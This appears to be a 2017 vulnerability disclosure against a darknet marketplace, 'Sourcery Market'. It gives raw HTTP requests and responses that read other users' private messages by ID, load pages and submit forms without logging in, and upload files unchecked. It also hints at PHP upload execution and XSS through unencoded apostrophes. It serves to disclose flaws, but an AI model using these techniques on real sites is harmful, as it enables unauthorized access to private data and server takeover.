Market Name | Sourcery Market |
Date | 1st August 2017 |
By | t0mcheck |
URL | sourcel3zg2kzu4k.onion |
Test Time | 30 minutes |
Access Level | anonymous, regular buyer account |
Disclosure | Full - this market shouldn't exist |
Sourcery Market is a new Darknet Market
- Vulnerability 1. Read Any Message
- Vulnerability 2. Access Any Page and No User Validation
- Vulnerability 3. Submit any form
- Vulnerability 4: Poor Character Encoding
- Vulnerability 5. Incorrect CSRF token implementation
- Vulnerability 6. Source Code Leak
- Vulnerability 7. PHP handling
Just pass any message ID to /message.php?messageId=51
and it will return the message to you. Example:
GET /message.php?messageId=51 HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Connection: close
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Tue, 01 Aug 2017 13:11:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=u4pntaf7ggp0sm8ni4pkphoca3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /message-not-found.php
Content-Length: 4097
<html>
<head>
<title>Sourcery</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="assets/css/main.css" />
</head>
<body class="subpage">
<header id="header">
<div class="inner">
<a href="vendor-landing-page.php" class="logo">Sourcery</a>
<nav id="nav">
<a href="my-orders.php">My Orders</a>
<a href="vendor-directory.php">Vendors</a>
<a href="search-ads.php">Search</a>
<a href="multisig-overview.php">Multisig</a>
<a href="loyalty-program.php">Loyalty</a>
<a href="about.php">About</a>
$2,778.98 / BTC
<a href="messages.php"><img vertical-align="bottom" height="20px" src="images/message.png"></a>
<a href="alerts.php"><img vertical-align="bottom" height=20px src="images/alert.png"></a>
<a href="account.php">Hello, </a>
<a href="logout.php">Logout</a>
</nav>
<a href="#navPanel" class="navPanelToggle"><span class="fa fa-bars"></span></a>
</div>
</header> <!-- Three -->
<section id="three" class="wrapper">
<div class="inner">
<header>
<div class="row">
<h2 align="center"></h2>
</div>
</header>
<hr class="major" />
<ul class="actions">
<li><a href="/messages.php" class="button">Done</a></li>
<li><a href="/message.php?messageId=51&isDelete=true" class="button">Delete</a></li>
</ul>
<center>
<h4>
</h4>
</center>
<p class="message-bubble other">
<i>
<a href="/user-profile.php?userId=329012523597">
</a><br>
Jul 25 2017 05:11<br>
</i>
<br>
Hello,<br />
<br />
I enabled 2FA and then I later changed my PGP key. How do I re-enable it? I can't find the option to enable 2FA. I logged out and logged back in and it seems like 2FA is activated, but since I have both my new and old key, I'm not sure which PGP key the 2FA used. </p>
<p class="message-bubble other">
<i>
<a href="/user-profile.php?userId=777">
</a><br>
Jul 25 2017 05:14<br>
</i>
<br>
Interesting. It should not have re-enabled your 2FA without you doing so. To re-enable, go to your account (click the upper right hand corner with your name). Then select PGP and Electrum. There should be an option to re-enable it. If the option isn't there, that means its still enabled. I can tell you which key is being used currently:<br />
<br />
The last part of the key is:<br />
<br />
ul+HddkCSK3fb/9Otpczt1r5oQTgJHeGqU+Z/7mGr2S49RQNE+66Y7BO/MT164Cl<br />
BtsX9DEzbQCGuwP5gzLqPrbIy40OmYUMG3yYE+usEpIu83hEUPL2Lm2P9pcvAn4p<br />
PAQTLxENOs2yHdUieab1lwgsgvejd9Y0j+QGax5FrCJvPLwrhJYKAqf6uW2lrcz5<br />
Y5/BD7qbRIKQFG/D18pJ6ML79uLxwA5o4fQ2LkI1VJsBjf2zZwFrKFeTkLM8sOBp<br />
Kdhpi67dzZmCoi3vJ2xAyuNe0lSnuGHUihA27iiBLDnOv+mKE9eVq80u6vXXMHVz<br />
JRLhdM05Q4M5ns4oE4tN3sFKvbo/T8fB9ePxL8ZDjCcCh6LPgu20IB6iLyM2sNNv<br />
5TeCfQ==<br />
=C6FP<br />
-----END PGP PUBLIC KEY BLOCK-----<br />
</p>
<form action="message.php" method="POST">
<input type="hidden" name="token" value="cf8650f177c9f52c7476ea714d4699eaf98a0db17e5e045948309689b61a142c">
<div class="12u$">
<textarea name="reply" id="reply" placeholder="Your Message" rows="10"></textarea>
</div>
<input type="hidden" name="action" value="reply">
<input type="hidden" name="messageId" value="51">
<br>
<ul class="actions">
<li><input type="submit" name="submit" value="Reply"></li>
</ul>
</form>
</div>
</section>
<footer id="footer">
<div class="inner">
<div class="flex">
<div class="copyright">
© Sourcery, Inc - because we know copyrights are respected in onionland
</div>
</div>
</div>
</footer>
</body>
</html>
You may have noticed the first vulnerability didnt require a cookie or a login session. Sourcery Market will allow an anonymous user to access any page. It will return a response with a redirect to the login page but also still return the content of the page.
The vulnerability is that they are still returning the page content and then redirecting users with no permissions
Example access the vendor settings page as an anonymous user:
Note the Hello,
blank welcome for a non-existing user
GET /vendor-account.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Accept: */*
Accept-Language: en
Connection: close
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Tue, 01 Aug 2017 13:30:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=v2gl6taofcq6qvs3m9q58llgg7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: account.php
Content-Length: 3923
<html>
<head>
<title>Sourcery</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="assets/css/main.css" />
</head>
<body class="subpage">
<header id="header">
<div class="inner">
<a href="vendor-landing-page.php" class="logo">Sourcery</a>
<nav id="nav">
<a href="my-orders.php">My Orders</a>
<a href="vendor-directory.php">Vendors</a>
<a href="search-ads.php">Search</a>
<a href="multisig-overview.php">Multisig</a>
<a href="loyalty-program.php">Loyalty</a>
<a href="about.php">About</a>
$2,770.50 / BTC
<a href="messages.php">
<img vertical-align="bottom" height="20px" src="images/message.png">
</a>
<a href="alerts.php">
<img vertical-align="bottom" height=20px src="images/alert.png">
</a>
<a href="account.php">Hello,</a>
<a href="logout.php">Logout</a>
</nav>
<a href="#navPanel" class="navPanelToggle">
<span class="fa fa-bars"></span>
</a>
</div>
</header>
<!-- Three -->
<section id="three" class="wrapper">
<div class="inner">
<header class="align-center">
<h2>My Account</h2>
<center>
<div class="info-prompt">Please note that you must enable 2FA before posting an advertisement.</div>
</center>
<ul class="actions fit small">
<li>
<a href="#" class="button special fit small">Basic Account Info</a>
</li>
<li>
<a href="/vendor-account-countries.php" class="button fit small">Ship Countries</a>
</li>
<li>
<a href="/vendor-account-keys.php" class="button fit small">My PGP & Electrum</a>
</li>
<li>
<a href="/vendor-account-ads.php" class="button fit small">My Ads</a>
</li>
</ul>
</header>
<hr class="major" />
<ul class="actions">
<li>
<a href="/logout.php" class="button">Logout</a>
</li>
<li>
<a href="/edit-vendor-account.php" class="button">Edit</a>
</li>
<li>
<a href="/vendor-account.php?action=setDefaultCurrency" class="button">Set Default Currency</a>
</li>
<li>
<a href="/vendor-account-password.php" class="button">Change Password</a>
</li>
<li>
<a href="vendor-account.php?action=setVacationMode&vacationMode=1" class="button">Start Vacation</a>
</li>
<li>
<a href="compose-message.php?userId=777" class="button">Message Sourcery</a>
</li>
</ul>
<div class="row">
<article>
<header>
<h3>My Vendor Profile</h3>
</header>
<div class="box">
<p>
<form method="post" action="vendor-account.php" enctype="multipart/form-data">
<input type="hidden" name="token" value="e893e9c3d0defc26f2c7dc509a6e66d9f2ec6bc8d53823c4ea4368ab246f7fe3">
<input type="hidden" name="action" value="setPhoto">
To change your profile photo:
<br>
<input type="file" name="fileToUpload" id="fileToUpload">
<br>
<br>
<ul class="actions">
<li>
<input type="submit" name="submit" value="Upload Image">
</li>
</ul>
</form>
<span class="image left">
<img src="ad-images.php?photoName=vendor--1-.gif">
</span>
<b>Referral URL: http://sourcel3zg2kzu4k.onion/new-account.php?refCode=7b2f8dd7aa4dd184dcb675951
<br>
Default Currency: USD</b>
<br>
<br>
</p>
</div>
</article>
</div>
</div>
</section>
<footer id="footer">
<div class="inner">
<div class="flex">
<div class="copyright">© Sourcery, Inc - because we know copyrights are respected in onionland</div>
</div>
</div>
</footer>
</body>
</html>
Likewise with above you can submit any form.
Example: upload a vendor profile image for a vendor account that doesnt exist as an anonymous user
POST /vendor-account.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Content-Length: 921
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTGoeBHRTahqtl40Z
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close
------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="token"
6ca9a3864afdf52a862a9b6c60f114e48439b2a9f5ded5703ade358d23b8126a
------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="action"
setPhoto
------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="fileToUpload"; filename="1x1.gif"
Content-Type: image/gif
GIF89a��<TRIMMED>
------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="submit"
Upload Image
------WebKitFormBoundaryTGoeBHRTahqtl40Z--
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Tue, 01 Aug 2017 13:29:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=f6jbinid5mqir2t4bt7nnv79d2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: account.php
Content-Length: 3923
<html>
<head>
<title>Sourcery</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="assets/css/main.css" />
</head>
<body class="subpage">
<header id="header">
<div class="inner">
<a href="vendor-landing-page.php" class="logo">Sourcery</a>
<nav id="nav">
<a href="my-orders.php">My Orders</a>
<a href="vendor-directory.php">Vendors</a>
<a href="search-ads.php">Search</a>
<a href="multisig-overview.php">Multisig</a>
<a href="loyalty-program.php">Loyalty</a>
<a href="about.php">About</a>
$2,770.50 / BTC
<a href="messages.php"><img vertical-align="bottom" height="20px" src="images/message.png"></a>
<a href="alerts.php"><img vertical-align="bottom" height=20px src="images/alert.png"></a>
<a href="account.php">Hello, </a>
<a href="logout.php">Logout</a>
</nav>
<a href="#navPanel" class="navPanelToggle"><span class="fa fa-bars"></span></a>
</div>
</header>
<!-- Three -->
<section id="three" class="wrapper">
<div class="inner">
<header class="align-center">
<h2>My Account</h2>
<center>
<div class="info-prompt">
Please note that you must enable 2FA before posting an advertisement. </div>
</center>
<ul class="actions fit small">
<li><a href="#" class="button special fit small">Basic Account Info</a></li>
<li><a href="/vendor-account-countries.php" class="button fit small">Ship Countries</a></li>
<li><a href="/vendor-account-keys.php" class="button fit small">My PGP & Electrum</a></li>
<li><a href="/vendor-account-ads.php" class="button fit small">My Ads</a></li>
</ul>
</header>
<hr class="major" />
<ul class="actions">
<li><a href="/logout.php" class="button">Logout</a></li>
<li><a href="/edit-vendor-account.php" class="button">Edit</a></li>
<li><a href="/vendor-account.php?action=setDefaultCurrency" class="button">Set Default Currency</a></li>
<li><a href="/vendor-account-password.php" class="button">Change Password</a></li>
<li>
<a href="vendor-account.php?action=setVacationMode&vacationMode=1" class="button">Start Vacation</a>
</li>
<li><a href="compose-message.php?userId=777" class="button">Message Sourcery</a></li>
</ul>
<div class="row">
<article>
<header>
<h3>My Vendor Profile</h3>
</header>
<div class="box">
<p>
<form method="post" action="vendor-account.php" enctype="multipart/form-data">
<input type="hidden" name="token" value="8c4274a005f02d5fe0a46fc63f57f8cec6f69300a442944735e9cbf28159f239">
<input type="hidden" name="action" value="setPhoto">
To change your profile photo:<br>
<input type="file" name="fileToUpload" id="fileToUpload"><br><br>
<ul class="actions">
<li><input type="submit" name="submit" value="Upload Image"></li>
</ul>
</form>
<span class="image left"><img src="ad-images.php?photoName=vendor--1-.gif">
</span>
<b>
Referral URL: http://sourcel3zg2kzu4k.onion/new-account.php?refCode=7b2f8dd7aa4dd184dcb675951<br>
Default Currency: USD</b> <br>
<br>
</p>
</div>
</article>
</div>
</div>
</section>
<footer id="footer">
<div class="inner">
<div class="flex">
<div class="copyright">
© Sourcery, Inc - because we know copyrights are respected in onionland
</div>
</div>
</div>
</footer>
</body>
</html>
You can now access the uploaded image at /ad-images.php?photoName=vendor--1-.gif
(it overwrote a previous image) which returns a 500 error
There is no sanity checking of the image here - feel free to upload some PHP as the output script will interpret it
No exploit here but it shouldn't be difficult to find. The character encoding for all inputs is to simply pass it to htmlspecialchars
- it passes it blindly without parsing or checking the incoming encoding
Example: enter ";<>'
as the users profile text and continue pressing save
and it will continue encoding the input
POST /edit-account.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Content-Length: 108
Cache-Control: max-age=0
Origin: http://sourcel3zg2kzu4k.onion
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3065.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://sourcel3zg2kzu4k.onion/edit-account.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=9uq63mikbpkg0lcv90pl0r8640
Connection: close
token=6ca9a3864afdf52a862a9b6c60f114e48439b2a9f5ded5703ade358d23b8126a&action=create&profile=%22%3B%3C%3E%27
<article>
<header>
<h3>Buyer Profile</h3>
</header>
<p>
<textarea name="profile" id="profile" placeholder="Profile, optional for buyers. Strongly suggested for vendors." rows="10">&quot;;&lt;&gt;'</textarea>
</p>
</article>
<article>
<header>
<h3>Buyer Profile</h3>
</header>
<p>
<textarea name="profile" id="profile" placeholder="Profile, optional for buyers. Strongly suggested for vendors." rows="10">&amp;amp;quot;;&amp;amp;lt;&amp;amp;gt;'</textarea>
</p>
</article>
<article>
<header>
<h3>Buyer Profile</h3>
</header>
<p>
<textarea name="profile" id="profile" placeholder="Profile, optional for buyers. Strongly suggested for vendors." rows="10">&amp;amp;amp;amp;quot;;&amp;amp;amp;amp;lt;&amp;amp;amp;amp;gt;'</textarea>
</p>
</article>
etc. etc. just a general display of incompetance
Also not that apostrophe's are not encoded - so you can XSS any spot where the output is placed into an HTML tag
Tokens are reused in all forms and not stuck against the session or regenerated - making the implementation useless
GET /account-set-2FA.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close
Note the PHP
<div class="6u$ 12u$(medium)">
<? if(!empty($infoMsg)): ?>
<h4>Challenge</h4>
Text to Decode
<br>
<br>
All requests are being passed to php-fpm
which is why we can exploit the file upload above and why any URL request returns a 500 Internal Server Error
including requests for favicon.ico
GET /favicon.ico HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Connection: close
<html>
<head>
<title>500 Internal Server Error</title>
</head>
<body bgcolor="white">
<center>
<h1>500 Internal Server Error</h1>
</center>
<hr>
<center>nginx</center>
</body>
</html>